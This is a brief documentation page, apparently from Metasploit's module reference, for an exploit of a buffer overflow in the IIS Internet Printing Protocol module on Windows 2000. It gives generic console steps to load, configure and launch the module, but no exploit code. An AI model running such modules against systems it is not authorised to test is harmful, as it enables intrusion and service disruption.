Description

This exploits a buffer overflow in the request processor of the Internet Printing Protocol ISAPI module in IIS. This module works against Windows 2000 service pack 0 and 1. If the service stops responding after a successful compromise, run the exploit a couple more times to completely kill the hung process.

Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':

msf > use exploit/windows/iis/ms01_023_printer
msf exploit(ms01_023_printer) > show targets
    ...targets...
msf exploit(ms01_023_printer) > set TARGET < target-id >
msf exploit(ms01_023_printer) > show options
    ...show and set options...
msf exploit(ms01_023_printer) > exploit

Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
